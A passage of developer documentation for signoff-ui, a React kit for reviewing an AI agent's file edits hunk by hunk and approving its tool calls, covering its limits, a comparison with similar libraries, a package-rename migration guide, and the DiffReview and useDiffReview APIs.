- **Rules from the client.** Rules made in the browser are that person's choices. `toToolApproval` can apply them on the server, for that person's runs only; rules that protect other people belong on the server. `parseApprovalRules` checks the rules a request brings, and by default leaves out a pattern with more than one `*`: each `*` more can make matching a long argument take seconds.
- **Markdown cost while streaming.** The whole text is parsed again on every delta: about 8 ms at 5k characters, 24 ms at 20k and 67 ms at 50k (jsdom), so very long streamed answers can drop frames.
- **Citation numbering.** `[n]` markers are numbered over the message's sources after de-duplication by URL (by source id for documents). If your prompt numbers a list of sources that contains duplicates, markers after the first duplicate point one source early. Number unique sources in the prompt.
- **Run state comes from you.** Parts carry no signal that a run has ended, so tool calls left behind by `stop()` or an interrupted history read "Stopped" only when you pass `active={false}`. `deriveAgentState` reports such a run as `stopped`, which the quickstart's `active` condition covers.
- **Long timelines in find-in-page.** Past 150 calls, the calls far from the screen are not on the page: find-in-page and a screen reader's reading cursor reach only those near it, and `renderExtra`'s content for the others unmounts until they come back. The arrow keys, Home and End reach every call.
- **Words for the agent stay English.** Every word a person sees or hears is a [label](https://signoff-ui.vercel.app/docs/labels), but what goes to the model (`reviewToolOutput`'s summary, `toToolApproval`'s reasons unless you pass its `reason`) is English. Right-to-left layouts have not been tested.
- **Nesting in slots.** With `styles.css`, a component rendered in a slot of a component that is itself in a slot is styled up to two levels deep; deeper than that it renders unstyled.
### What's next
The next work is on review and approval:
- Adapters: an AI Elements recipe, and AG-UI sub-agents as nested timelines.
- ACP: accepting some hunks of an edit and rejecting others, with the client writing the reviewed file (`fs/write_text_file`).
## How it compares
> signoff-ui next to assistant-ui and AI Elements: what each does better, and where this kit differs.
Source: https://signoff-ui.vercel.app/docs/comparison
signoff-ui does one part of an agent product: the step where a person reviews what the agent changed and decides what it may do. [assistant-ui](https://github.com/assistant-ui/assistant-ui) and [AI Elements](https://github.com/vercel/ai-elements) cover the whole chat, and you may well want one of them for it. They compose: render the thread with either, and these components for the review and the approvals ([Inside your chat UI](https://signoff-ui.vercel.app/docs/chat-ui) shows how).
### What they do better
- **assistant-ui** is a chat runtime plus composable primitives, with adapters for the AI SDK, LangGraph, AG-UI and others, on React 18 or 19. Its Elements collection (since August 2026) is far wider than this kit, with agent pieces close to it: an approval card, a reviewable diff, a trace waterfall, a tool timeline, a cost meter, agent status and more. It ships releases near daily.
- **AI Elements** is Vercel's shadcn registry for AI SDK apps, with the widest coverage of the message surface: conversation, message, prompt input, reasoning, sources, a per-call `Tool` card, a `Confirmation` for tool approvals, a `Context` usage indicator and more. If you want the whole chat in shadcn style, start there. It targets React 19 and Tailwind v4, and its components are written against AI SDK 6 (`ai@^6.0.105`).
### Where signoff-ui differs
| Topic | signoff-ui | assistant-ui Elements | AI Elements |
| ------------- | ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------ | ---------------------------------------------------------------------------------------------------------------------------------------------------------- |
| Diff review | The old and new text of several files, or a patch, with the hunks computed and word-level highlights. Hunks or whole files accepted or rejected, comments on lines, files marked viewed. Returns each file with only the accepted hunks applied, the rejected hunks and the comments, ready to send back as a tool result, or as a unified patch. | One file's hunks, already split; keep or discard per hunk, and apply returns nothing. | None. |
| Approvals | What will run, a risk level when you give one, deny with a reason, a second press for `critical`, and automatic decisions from `toolApproval` shown as such. Once, for the session or always, by tool and argument pattern, with rules that also run as AI SDK 7's `toolApproval`, sent with each request (`getRules`) and checked in the route (`parseApprovalRules`); arguments editable before approving; approve all pending; an audit trail. A key for each choice, scoped to focus. | Allow once, allow always or deny. | A `Confirmation` compound component on the tool part's approval state, with approve and deny buttons you wire to the chat. No remembered choices or rules. |
| Data in | A `UIMessage` from `useChat` as it is, an AG-UI agent through `useAgUiAgent`, an ACP prompt turn through `signoff-ui/acp`, or assistant-ui's tool calls through `signoff-ui/assistant-ui`. No runtime to adopt. | Props (agent status also has a runtime-bound variant). With the assistant-ui runtime, its docs show how to map approvals, message timing and step usage into them. | AI SDK message parts, passed to each component as props. |
| Tool timeline | Every state, with durations measured on the client that leave out time spent waiting for an approval. Sub-agents nest under the call that started them. | A summary of what was done, without durations or states. | A `Tool` card per call, with its state, input and output, without timing. |
| Cost | Prices tokens from your rates and shows the prompt-cache hit rate. | Displays cost strings you format. | A `Context` indicator: context window usage, and a total cost looked up from the model id. |
| Styling | Tailwind v4, v3 or none: the npm package ships a precompiled stylesheet scoped to its own elements. | Tailwind v4. | Tailwind v4, in a shadcn/ui app. |
| React | 18 or 19. | 18 or 19. | 19. |
### Also true of this kit
- **It reads AI SDK messages as they are.** Hand `AgentMessage` a `UIMessage` from `useChat` and tool parts become one timeline with inline approvals, sources become citations, and usage metadata feeds the meter, with no per-component data mapping.
- **Timings are measured, not supplied.** `useRunTiming` reports time to first token and active time per turn, across review and approval round trips.
- **Accessibility is audited.** Focus-scoped shortcuts, live-region announcements and contrast are covered by axe in jsdom and in Chrome; see [Accessibility](https://signoff-ui.vercel.app/docs/accessibility).
- **It is smaller in scope.** There is no thread, composer or runtime here, and fewer components. What is missing is listed in [Performance and limits](https://signoff-ui.vercel.app/docs/limits).
## Migrating from @dgesteves/agent-ui-kit
> The package is now signoff-ui: swap it, rename the CSS variables, classes and attributes with one command, and what changed in styles.css.
Source: https://signoff-ui.vercel.app/docs/migrating-from-agent-ui-kit
`@dgesteves/agent-ui-kit` is now `signoff-ui`. 0.5.0 is the first release under the new name. The components, their props and what they do are the same; the names around them changed, so they no longer collide with assistant-ui's (which also uses `data-aui` and `--aui-`). The old package stays on npm at 0.4.3 and gets no new releases.
### What changed
| Where | `@dgesteves/agent-ui-kit` 0.4 | `signoff-ui` 0.5 |
| ------------------------ | ------------------------------------------------------------------ | ---------------------------------------------------------------------------------- |
| npm package | `@dgesteves/agent-ui-kit` | `signoff-ui` |
| Entry points | `@dgesteves/agent-ui-kit/core`, `/ag-ui`, `/styles.css` and so on | `signoff-ui/core`, `/ag-ui`, `/styles.css` and so on, the same set |
| CSS variables | `--aui-bg`, `--aui-accent`, `--aui-radius` … | `--signoff-bg`, `--signoff-accent`, `--signoff-radius` … |
| Tailwind utilities | `bg-aui-bg`, `text-aui-fg-muted`, `rounded-aui`, `font-aui-mono` | `bg-signoff-bg`, `text-signoff-fg-muted`, `rounded-signoff`, `font-signoff-mono` |
| Tailwind theme variables | `--color-aui-*`, `--radius-aui`, `--font-aui-*`, `--animate-aui-*` | `--color-signoff-*`, `--radius-signoff`, `--font-signoff-*`, `--animate-signoff-*` |
| Keyframes | `aui-spin`, `aui-shimmer` … | `signoff-spin`, `signoff-shimmer` … |
| Component roots | `data-aui` | `data-signoff` |
| `data-slot` values | `approval-card`, `diff-hunk` … | `signoff-approval-card`, `signoff-diff-hunk` … |
| shadcn namespace | `@agent-ui-kit` | `@signoff-ui` |
| shadcn files | `components/agent-ui/` | `components/signoff-ui/` |
| Repository | `github.com/dgesteves/agent-ui-kit` | `github.com/dgesteves/signoff-ui`; the old URLs redirect |
| Website and registry | `agent-ui-kit-demo.vercel.app` | `signoff-ui.vercel.app`; the old address redirects |
The docs, the playground and the hosted registry moved to `signoff-ui.vercel.app`. The old address redirects there for good, so registry URLs such as `https://agent-ui-kit-demo.vercel.app/r/diff-review.json` keep working.
### From npm
Swap the package:
```bash
npm uninstall @dgesteves/agent-ui-kit && npm i signoff-ui
```
Then rename the imports, CSS variables, classes and attributes. In a git repository, this rewrites every tracked file that uses them, outside `package.json` and lockfiles:
```bash
git grep -lE 'agent-ui-kit|aui' -- ':!*package.json' ':!*lock*' | xargs perl -pi -e 's#\@dgesteves/agent-ui-kit#signoff-ui#g; s#\@agent-ui-kit\b#\@signoff-ui#g; s#--aui-#--signoff-#g; s#data-aui\b#data-signoff#g; s#(?<=[a-z0-9]-)aui(?=-[a-z0-9]|\b)#signoff#g'
```
Review the diff before you commit it. If the app also uses assistant-ui, whose own attribute is `data-aui` and whose variables start with `--aui-`, pass only the files that use this kit to `perl` instead of every match of `git grep`.
The command leaves `data-slot` values alone, since other libraries use the same attribute. If your CSS or tests select the kit's, add `signoff-` in front:
| Component | `data-slot` values |
| ------------------ | ----------------------------------------------------------------------------------------------------------- |
| `AgentMessage` | `signoff-agent-message` |
| `AgentStatus` | `signoff-agent-status` |
| `ApprovalCard` | `signoff-approval-card`, `signoff-approval-approve`, `signoff-approval-deny` |
| `DiffReview` | `signoff-diff-review`, `signoff-diff-file`, `signoff-diff-hunk`, `signoff-diff-submit` |
| `Markdown` | `signoff-markdown` |
| `Reasoning` | `signoff-reasoning` |
| `RunMeter` | `signoff-run-meter` |
| `Sources` | `signoff-sources` |
| `ToolCallTimeline` | `signoff-tool-call-timeline`, `signoff-tool-call`, `signoff-tool-call-trigger`, `signoff-tool-call-details` |
| `JsonView` | `signoff-json-view` |
### From the shadcn registry
The files you added are your code, and they keep working as they are. To take the new names:
1. Rename the registry in `components.json` from `@agent-ui-kit` to `@signoff-ui`, and point it at `https://signoff-ui.vercel.app/r/{name}.json`. The old URL redirects, so the CLI keeps working until you change it.
2. Add the items again, for example `npx shadcn@latest add @signoff-ui/diff-review`. The new files land in `components/signoff-ui/`, and the tokens written into your CSS are now `--signoff-*`.
3. Carry over any edits you made to the old files, point your imports at `@/components/signoff-ui/...`, then delete `components/agent-ui/` and the `--aui-*` tokens, `--color-aui-*` mappings and `aui-*` keyframes the old items wrote into your CSS.
Or keep the old files and run the command above over them and your CSS, which renames their classes and tokens in place.
### `styles.css` and your content
If you import `signoff-ui/styles.css` (Tailwind v3 or no Tailwind), two things changed besides the names:
- **Your content in a component is yours.** What `renderTool`, `renderData`, `renderOutput`, `renderExtra` and a custom approval `preview` return now sits in an element with `data-signoff-slot`, and the stylesheet's rules stop there. Before, the kit's reset and utilities also styled that content: a `
` lost its margins and a `
` its bullets, and in a Tailwind v4 app with its own theme, your `p-4` there used the kit's spacing. If your content relied on that, style it in your own CSS. Components you render in a slot are styled as before.
- **Your theme variables are left alone.** The stylesheet used to set Tailwind's `--spacing`, `--text-*` and other theme variables on every component, which also reached your content inside it. It now sets only the kit's `--signoff-*` tokens and Tailwind's per-element `--tw-*` properties, and its keyframes are named `signoff-*`.
With Tailwind v4 and `signoff-ui/tailwind.css`, your build generates the utilities as before, so nothing changes there besides the names.
## Components
## DiffReview
> Accept or reject an agent’s edits hunk by hunk, across files, and get the patched files back.
Source: https://signoff-ui.vercel.app/docs/components/diff-review
### Installation
From npm:
```bash
npm i signoff-ui ai
```
```tsx
import { DiffReview, reviewToolOutput } from 'signoff-ui';
import 'signoff-ui/styles.css'; // once per app, or @import 'signoff-ui/tailwind.css' with Tailwind v4
```
Or as source, with the shadcn CLI:
```bash
npx shadcn@latest add https://signoff-ui.vercel.app/r/diff-review.json
```
```tsx
import { DiffReview } from '@/components/signoff-ui/diff-review';
```
### Usage
```tsx
addToolOutput({ tool: 'review_changes', toolCallId, output: reviewToolOutput(result) })
}
/>
```
### How it works
Unified or split review of agent edits across files, with word-level highlights. Give it the old and new contents of each file, or a unified `patch` when you only have the diff, and it computes the hunks. The reviewer accepts or rejects each hunk or a whole file, comments on lines or hunks, marks files viewed and applies, and the agent gets back what it needs to act on.
#### What the agent gets back
`onSubmit(result, { toPatch })` receives:
- `files`: each file's `decision` (`accepted`, `rejected`, `partial`, `pending` or `unchanged`), whether it was marked `viewed`, and its `content` with only the accepted hunks applied, unreviewed ones left out. Each file also carries the ids of the hunks accepted, rejected or left pending.
- `rejectedHunks`: each rejected hunk with its lines, so the agent knows what not to do again.
- `comments`: each with its file, its line range (`side`, `startLine`, `endLine`), its text and the lines it is on (`excerpt`).
- `toPatch()`: the accepted changes as a git-style unified diff, which `git apply` reads.
`reviewToolOutput(result)` shapes that for the model. It gives a one-sentence summary, each file's decision with its applied contents, the rejected hunks and the comments. A file the reviewer marked viewed has `viewed: true`, and the others have no `viewed` key, so the output stays small. Pass `{ contents: false, patch: toPatch() }` to send a patch instead of contents. It is plain JSON, so it is an AI SDK tool output as it is: `addToolOutput({ tool: 'review_changes', toolCallId, output: reviewToolOutput(result) })`. For an AG-UI agent paused on an interrupt, `reviewResumeEntry(interrupt.id, result)` is the resume entry, with the same payload: pass it to `useAgUiAgent`'s `resolve`.
The review is sent once per state of the review. A double click or a repeated ⌘ or Ctrl + Enter sends one review, until a decision, a comment, a viewed mark or the files change. Files compare by content, so an inline `files` array does not count as a change.
#### Comments
Select lines from a hunk with Shift and the up or down arrow: down starts at its first changed line, up at its last. Or click a line number and Shift-click another. C comments on the selected lines, or on the whole hunk when none are selected, and the hunk's comment button does the same. ⌘ or Ctrl + Enter saves the comment and Escape cancels it. Lines are numbered in the proposed file, or in the original when only removed lines are selected (`side: 'old'`). Control comments with `comments` and `onCommentsChange`, or start from `defaultComments`.
#### Files
A review of several files lists them first. The list is one tab stop: the arrow keys move between files and Enter goes to one. Any file can be accepted or rejected whole, with its buttons or with Alt + A and Alt + R. A file can be marked viewed with its checkbox, or with V, which also moves to the next file. A viewed file folds away (`collapseViewed={false}` keeps it open), and `viewed` and `onViewedChange` control the marks. A renamed file shows its old path. A binary file reads "Binary file, not shown": it is detected from a NUL character in its contents or from a binary patch, or set with `binary`. Binary files, renames without changes, and files created or deleted empty are each decided as a whole, under the id `` `${path}:file` ``.
#### Context
Unchanged lines between hunks can be shown, 20 at a time or all at once, from the bar between hunks or with E around the focused hunk. That needs both contents: a patch alone has no lines outside its hunks.
#### Large files
Large files stay responsive. A file that needs more than a few hundred edits is diffed in a worker and reads "Comparing changes…" until it is done; Apply waits for it. Webpack 5, Next.js and Vite emit the package's worker without configuration. `diffWorker` takes a function that starts your own worker, or `false` to diff on the main thread after the first paint. A file changed in more places than `maxEditLength` (2,000 lines added plus removed) is reviewed as one hunk that replaces the changed region, and the review says so. A long review renders only the rows near the screen. The rest keep their height and their text for screen readers, and every hunk stays in place for focus and for J and K. [Performance and limits](https://signoff-ui.vercel.app/docs/limits) has the numbers.
#### Your own buttons
`actions` puts your controls in the header, next to the layout toggle: `actions={}`. They are your content, in a `data-signoff-slot` element, so `styles.css` leaves them to your CSS. Keys pressed on them, or in a menu they open, are theirs: J, K, A, R, ⌘ or Ctrl + Enter and the review's other shortcuts don't act from there. Pass nothing, `null` or `false` and the header stays as it was.
#### Your own markup
[`useDiffReview`](https://signoff-ui.vercel.app/docs/components/use-diff-review) is all of this without the markup. It gives the files, decisions, comments, selection, viewed marks and shown context, and the keyboard. It also gives getters for items, buttons, the comment editor and a file navigator.
#### On the server
`parseFileChange`, `applyHunks`, `computeReviewResult`, `toPatch`, `reviewToolOutput` and `reviewResumeEntry` are in `signoff-ui/core`, with no React. A server render diffs the files a render may diff, and shows the rest as being compared, so hydration matches. Long changed lines skip word-level highlights rather than stall.
### API reference
#### DiffReview
Review agent file edits hunk by hunk, in unified or split view, with word-level highlights, and
send back what was accepted, what was rejected and what the reviewer said about it.
Keyboard: J/K or the arrows move between hunks and Shift+J/K between files; A accepts, R rejects,
U resets, Alt+A / Alt+R decide the file and Shift+A / Shift+R everything; Shift+arrows select lines
and C comments on them (or on the hunk); E shows more context; V marks the file viewed;
⌘/Ctrl+Enter applies.
Large files stay responsive: a big diff is computed in a worker while the file shows
"Comparing…", one past `maxEditLength` becomes a single replacing hunk, and long reviews
render only the rows near the screen. For your own markup, `useDiffReview` is this component's
state and keyboard without it.
| Prop | Type | Default | Description |
| --- | --- | --- | --- |
| `files` (required) | `readonly FileChange[]` | | |
| `title` | `ReactNode` | | Heading. Default "Review changes" (`labels.diffReview.title`). |
| `actions` | `ReactNode` | | Your own controls in the header, next to the layout toggle, e.g. a "Copy as a patch" button. Your content, like `AgentMessage`'s `renderTool`: it sits in a `data-signoff-slot` element, and keys pressed in it are yours, not the review's shortcuts. |
| `view` | `DiffViewMode` | | |
| `defaultView` | `DiffViewMode` ('unified' \| 'split') | `'unified'` | |
| `onViewChange` | `(view: DiffViewMode) => void` | | |
| `submitLabel` | `string` | | The apply button's text. Default "Apply 2 of 5", or "Apply changes" before any is accepted (`labels.diffReview.apply`). |
| `readOnly` | `boolean` | `false` | Hide review controls, e.g. once the review has been submitted. |
| `context` | `number` | `3` | Lines of context around each change. |
| `maxEditLength` | `number` | | Past this many lines added plus lines removed in one file, its changed region (from the first changed line to the last) is shown as one hunk that replaces it, and the review says so. Diffing costs about the square of this number. Default 2,000. |
| `autoAdvance` | `boolean` | `true` | After accepting or rejecting with the keyboard, move to the next undecided hunk. |
| `collapseViewed` | `boolean` | `true` | Fold a file away once it is marked viewed. |
| `headingLevel` | `HeadingLevel` | `3` | Heading level for the title, to fit your document outline. |
| `onSubmit` | `(result: DiffReviewResult, review: { toPatch: () => string; }) => void \| PromiseLike` | | Called with the reviewed result, and a `toPatch` that gives the accepted changes as a unified diff. Pending hunks are not applied. Fires once per review state, so a double click or a repeated ⌘/Ctrl+Enter sends one review: submitting again needs a changed decision, comment or viewed mark, changed `files`, the returned promise to settle, or the handler to throw. Files compare by content and the rest by value: an equal new array or object does not count as a change. |
| `decisions` | `Readonly>` | | Controlled decisions keyed by item id: a hunk's `${path}:${index}`, or `${path}:file` for a file with no hunks (binary, renamed or empty). A repeated path gets `${path}#2`, `#3` and so on, skipping a suffix another file's path already has. |
| `defaultDecisions` | `Readonly>` | | |
| `onDecisionsChange` | `(decisions: Record) => void` | | |
| `comments` | `readonly DiffReviewComment[]` | | Controlled comments. |
| `defaultComments` | `readonly DiffReviewComment[]` | | |
| `onCommentsChange` | `(comments: DiffReviewComment[]) => void` | | |
| `viewed` | `Readonly>` | | Controlled "Viewed" marks, by file id (the path, or `path#2`… for a repeated path). |
| `defaultViewed` | `Readonly>` | | |
| `onViewedChange` | `(viewed: Record) => void` | | |
| `diffWorker` | `DiffWorkerFactory \| false` | | Where files too large to diff while rendering are diffed: by default in the package's own worker, which bundlers with worker support emit (webpack 5 and Next.js, Vite, Parcel). Pass a function that starts your own `Worker` running `signoff-ui`'s diff worker, or `false` to diff them on the main thread after the first paint. Without a working worker the latter is the fallback. |
| `labels` | `SignoffLabelsInput` | | Words to use instead of the English defaults, for what the hook announces and names: see `SignoffLabelsProvider`. |
Other props go to the root ``: `className`, `id`, `aria-*`, `data-*` and event handlers.
#### FileChange
A file edit proposed by an agent. Provide either full contents or a unified patch.
| Prop | Type | Default | Description |
| --- | --- | --- | --- |
| `path` (required) | `string` | | |
| `oldPath` | `string` | | Previous path, for renames. |
| `oldContent` | `string` | | Original file contents. Omit (or pass '') for new files. |
| `newContent` | `string` | | Proposed file contents. Omit (or pass '') for deletions. |
| `patch` | `string` | | A unified diff for this file, used when contents are not available. |
| `language` | `string` | | Language id for highlighting, inferred from the extension when omitted. |
| `binary` | `boolean` | | A binary file: shown as "Binary file, not shown" and decided as a whole. Detected when omitted: contents with a NUL character in their first 8,000, or a patch that says `Binary files … differ`. |
#### DiffReviewResult
| Prop | Type | Default | Description |
| --- | --- | --- | --- |
| `files` (required) | `DiffReviewFileResult[]` | | |
| `accepted` (required) | `number` | | Decisions across the review: hunks, and files decided as a whole. |
| `rejected` (required) | `number` | | |
| `pending` (required) | `number` | | |
| `rejectedHunks` (required) | `DiffReviewRejectedHunk[]` | | |
| `comments` (required) | `DiffReviewResultComment[]` | | |
#### DiffReviewFileResult
| Prop | Type | Default | Description |
| --- | --- | --- | --- |
| `path` (required) | `string` | | |
| `status` (required) | `FileStatus` ('added' \| 'deleted' \| 'modified' \| 'renamed') | | |
| `decision` (required) | `FileDecision` ('accepted' \| 'rejected' \| 'partial' \| 'pending' \| 'unchanged') | | `accepted` when every change was accepted, `rejected` when every one was, `partial` for some of each or some left undecided, `pending` when none was decided, `unchanged` with nothing to decide. |
| `viewed` (required) | `boolean` | | Marked "Viewed" by the reviewer. |
| `content` (required) | `string` | | File contents with only accepted hunks applied. `undefined` for patch-only input. |
| `accepted` (required) | `string[]` | | |
| `rejected` (required) | `string[]` | | |
| `pending` (required) | `string[]` | | |
| `oldPath` | `string` | | The path before, for a renamed file. |
| `binary` | `true` | | |
#### DiffReviewRejectedHunk
A hunk the reviewer turned down, with its lines, so the agent knows exactly what not to do.
| Prop | Type | Default | Description |
| --- | --- | --- | --- |
| `id` (required) | `string` | | |
| `path` (required) | `string` | | |
| `header` (required) | `string` | | |
| `diff` (required) | `string` | | The hunk as unified diff lines: ` ` unchanged, `-` removed, `+` added. |
#### DiffReviewComment
A reviewer's comment for the agent, on lines of a hunk, a whole hunk or a whole file.
| Prop | Type | Default | Description |
| --- | --- | --- | --- |
| `id` (required) | `string` | | Unique within the review. |
| `fileId` (required) | `string` | | The file's id in the review: its path, or `path#2`… for a path that repeats. |
| `path` (required) | `string` | | |
| `target` (required) | `'lines' \| 'hunk' \| 'file'` | | What it is on. |
| `text` (required) | `string` | | |
| `hunkId` | `string` | | The hunk the lines are in, for `lines` and `hunk`. |
| `side` | `CommentSide` | | Which file the line numbers count in: the proposed one (`new`), or for removed lines only, the original (`old`). Absent for a comment on a whole file. |
| `startLine` | `number` | | |
| `endLine` | `number` | | |
#### DiffReviewResultComment
| Prop | Type | Default | Description |
| --- | --- | --- | --- |
| `id` (required) | `string` | | Unique within the review. |
| `fileId` (required) | `string` | | The file's id in the review: its path, or `path#2`… for a path that repeats. |
| `path` (required) | `string` | | |
| `target` (required) | `'lines' \| 'hunk' \| 'file'` | | What it is on. |
| `text` (required) | `string` | | |
| `excerpt` | `string` | | The lines commented on, as unified diff lines, when they are in the review. |
| `hunkId` | `string` | | The hunk the lines are in, for `lines` and `hunk`. |
| `side` | `CommentSide` | | Which file the line numbers count in: the proposed one (`new`), or for removed lines only, the original (`old`). Absent for a comment on a whole file. |
| `startLine` | `number` | | |
| `endLine` | `number` | | |
Extends `DiffReviewComment`.
#### FileDecision
How a file came out of the review. `partial`: some of its changes were accepted, not all.
```ts
type FileDecision = 'accepted' | 'rejected' | 'partial' | 'pending' | 'unchanged';
```
#### HunkDecision
```ts
type HunkDecision = 'accepted' | 'rejected' | 'pending';
```
#### DiffViewMode
```ts
type DiffViewMode = 'unified' | 'split';
```
### Accessibility
| Keys | Action |
| --- | --- |
| J K | Next or previous hunk (↓ and ↑ too, from a hunk) |
| ⇧J ⇧K | First hunk of the next or previous file |
| A | Accept the hunk, and move to the next undecided one |
| R | Reject the hunk, and move on (X works too) |
| U | Reset the hunk |
| ⌥A ⌥R | Accept or reject every hunk in the file (Alt on Windows and Linux) |
| ⇧A ⇧R | Accept or reject every hunk |
| ⇧↓ ⇧↑ | Select lines in the hunk, from its first or last changed line |
| ↓ ↑ | With lines selected, move the selection by a line |
| Esc | Clear the selection, or cancel the comment being written |
| C | Comment on the selected lines, or on the hunk |
| ⌘/Ctrl ↵ | In a comment, save it; elsewhere, apply the review |
| E | Show 20 more unchanged lines above and below the hunk |
| V | Mark the file viewed, fold it and go to the next file |
- A `` named by its title. Hunks use a roving tabindex, so the whole review is one tab stop that J, K and the arrows move through.
- Each hunk is a group named like "Hunk 2 of 4, app/api/chat/route.ts, lines 12 to 20, accepted"; a file decided as a whole, like "Change 5 of 6, logo.png, binary file, not reviewed".
- Every shortcut is also a button: "Accept hunk 2", "Reject hunk 2", "Reset hunk 2" with `aria-pressed`, "Comment on hunk 2", "Accept file app/route.ts", the "Viewed app/route.ts" checkbox, the layout toggle and Apply. Shortcuts only work while focus is inside the review, and not on your own controls in `actions`.
- Selected lines are announced as they change, line by line: "Added: const ip = … Lines 15 to 17 selected." The comment editor is a labeled text area ("Comment on lines 15 to 17, for the agent") that takes focus, and focus returns to the hunk when it closes.
- The file list is a navigation landmark ("Files in this review") with one tab stop: the arrow keys, Home and End move through it, and each entry reads its path, how many changes are decided and whether it is viewed. A folded file has an expand button with `aria-expanded`.
- Line numbers and the buttons that show unchanged lines are clickable but out of the tab order (Shift and the arrows select lines, E shows context); the numbers are hidden from screen readers, which read the lines themselves.
- Progress, decisions, comments, viewed marks and shown context are announced: "Hunk 2 of 4 accepted. 2 remaining."
- Changed lines keep their + and − glyphs and are read as "Added:" or "Removed:", so cyan and magenta never carry the meaning alone.
- A long review renders only the rows near the screen. The rest keep their place as visually hidden text, read in the same order with the same "Added:" and "Removed:", and every hunk stays rendered, so its name, focus and J and K never depend on scrolling.
- A file still being diffed reads "Comparing changes…" and is `aria-busy`; the review itself is not, so its announcements go out meanwhile. A file past `maxEditLength` says it is shown as one replacing hunk.
### Theming
Slots (`data-slot`): `signoff-diff-hunk`, `signoff-diff-review`, `signoff-diff-submit`, `signoff-diff-files`, `signoff-diff-file`, `signoff-diff-fallback`, `signoff-diff-comment`, `signoff-diff-comment-editor`, `signoff-diff-chunk`, `signoff-diff-gap`.
- `data-fallback` on `signoff-diff-file`: 'replace', for a file past maxEditLength
- `data-viewed` on `signoff-diff-file`: set on a file marked viewed
- `data-decision` on `signoff-diff-file`: HunkDecision, on hunks; FileDecision, on files
- `data-line-index`
- `data-rendered` on `signoff-diff-chunk`: set while the rows are rendered, near the screen
- `data-line`
- `data-selected`: set on a selected line
Tokens it uses: `--signoff-accent`, `--signoff-accent-fg`, `--signoff-add-bg`, `--signoff-add-strong`, `--signoff-bg`, `--signoff-border`, `--signoff-border-strong`, `--signoff-del-bg`, `--signoff-del-strong`, `--signoff-fg`, `--signoff-fg-muted`, `--signoff-fg-subtle`, `--signoff-font-mono`, `--signoff-font-sans`, `--signoff-hot`, `--signoff-hot-fg`, `--signoff-on-accent`, `--signoff-radius`, `--signoff-ring`, `--signoff-surface`, `--signoff-surface-2`, `--signoff-warn`, `--signoff-warn-fg`. See https://signoff-ui.vercel.app/docs/getting-started#theming.
## useDiffReview
> DiffReview without its markup: the review’s state, keyboard and result, for your own design system.
Source: https://signoff-ui.vercel.app/docs/components/use-diff-review
### Installation
From npm:
```bash
npm i signoff-ui ai
```
```tsx
import { useDiffReview, reviewToolOutput } from 'signoff-ui';
import 'signoff-ui/styles.css'; // once per app, or @import 'signoff-ui/tailwind.css' with Tailwind v4
```
Or as source, with the shadcn CLI:
```bash
npx shadcn@latest add https://signoff-ui.vercel.app/r/use-diff-review.json
```
```tsx
import { useDiffReview } from '@/components/signoff-ui/use-diff-review';
```
### Usage
```tsx
function MyReview({ files, onSubmit }: { files: FileChange[]; onSubmit: (r: DiffReviewResult) => void }) {
const review = useDiffReview({ files, onSubmit });
return (
{review.items.map((item, i) => (
))}
{review.draft && }
{review.announcement}
);
}
```
### How it works
`useDiffReview` is `DiffReview` without its markup: the same parsing, decisions, comments, viewed files, unchanged context, keyboard and result, for a review drawn with your own components. `DiffReview` is this hook and its styled markup, so the two behave the same.
#### What to wire up
Spread `getRootProps()` on the element around the review: it holds the keyboard. Spread `getItemProps(i)` on each item's element: it brings a roving tabindex, the item's name and its decision. `items` lists everything to decide, in file order: each hunk, or a whole file when it has no hunks (binary, renamed or empty). The `index` the getters take is a position in that list. Render `announcement` in a polite live region: it says what each decision, selection, comment and viewed mark did.
#### Decisions
`getDecisionProps(i, 'accepted')` and `getDecisionProps(i, 'rejected')` are the two buttons for an item, with `aria-pressed`; pressing one again resets the item. `getFileDecisionProps(fileId, decision)` decides a whole file, and `decideAll` the whole review. Pass `decisions` and `onDecisionsChange` to control them, or `defaultDecisions` to start from some. `counts` has how many are accepted, rejected and pending.
#### Comments
`getLineNumberProps(i, line)` selects a line on click, and Shift-click extends the selection in the same hunk; the keys select lines as in `DiffReview`. `startComment()` opens a draft on the selected lines, or on the item. Render the draft in a labeled `textarea` with `getDraftProps()`: it brings focus, the text and its keys (⌘ or Ctrl + Enter saves, Escape cancels). `comments` and `onCommentsChange` control them.
#### Files
`files` has each file's state: its id (the path, or `path#2` for a path that repeats), its items, its decision, how many of its items are decided, whether it is viewed or folded away, and the unchanged lines around its hunks (`gaps`), which `showContext` shows. `getViewedProps(fileId)` is a file's "Viewed" checkbox, and `getNavigatorItemProps(fileId)` a button in a list of files that is one tab stop.
#### Applying
`getSubmitProps()` is the Apply button. It is `aria-disabled` while `comparing` is true, that is while a file is still diffed in a worker. `onSubmit(result, { toPatch })` receives the same result as `DiffReview`'s, once per state of the review, and `result()` and `toPatch()` read it at any time. `reviewToolOutput(result)` shapes it for the model.
#### Your own controls
Keys pressed inside an element with `data-signoff-slot`, or in a portal rendered from it such as a menu, are left to that element, so J, K, A and R don't act from your buttons there.
#### Large files
`maxEditLength` and `diffWorker` work as on `DiffReview`: past 2,000 lines added plus removed, a file's changed region is one hunk that replaces it, and a file that needs more than a few hundred edits is diffed in a worker. Its `parsed` is `undefined` until that is done.
### API reference
#### useDiffReview
The review without its markup: parsing (in a worker for large files), decisions, comments,
viewed files, unchanged context, the keyboard and the result, for teams that render their own.
`DiffReview` is this hook and its styled markup. Spread `getRootProps()` on the element that
contains the review, `getItemProps(i)` on each item's element, and render `announcement` in a
polite live region; the keys are DiffReview's.
```ts
useDiffReview({ files: changes, decisions: decisionsProp, defaultDecisions, onDecisionsChange, comments: commentsProp, defaultComments, onCommentsChange, viewed: viewedProp, defaultViewed, onViewedChange, onSubmit, readOnly, context, maxEditLength, diffWorker, autoAdvance, collapseViewed, labels }: UseDiffReviewOptions): UseDiffReviewResult
```
Parameter, `UseDiffReviewOptions`:
| Prop | Type | Default | Description |
| --- | --- | --- | --- |
| `files` (required) | `readonly FileChange[]` | | |
| `decisions` | `Readonly>` | | Controlled decisions keyed by item id: a hunk's `${path}:${index}`, or `${path}:file` for a file with no hunks (binary, renamed or empty). A repeated path gets `${path}#2`, `#3` and so on, skipping a suffix another file's path already has. |
| `defaultDecisions` | `Readonly>` | | |
| `onDecisionsChange` | `(decisions: Record) => void` | | |
| `comments` | `readonly DiffReviewComment[]` | | Controlled comments. |
| `defaultComments` | `readonly DiffReviewComment[]` | | |
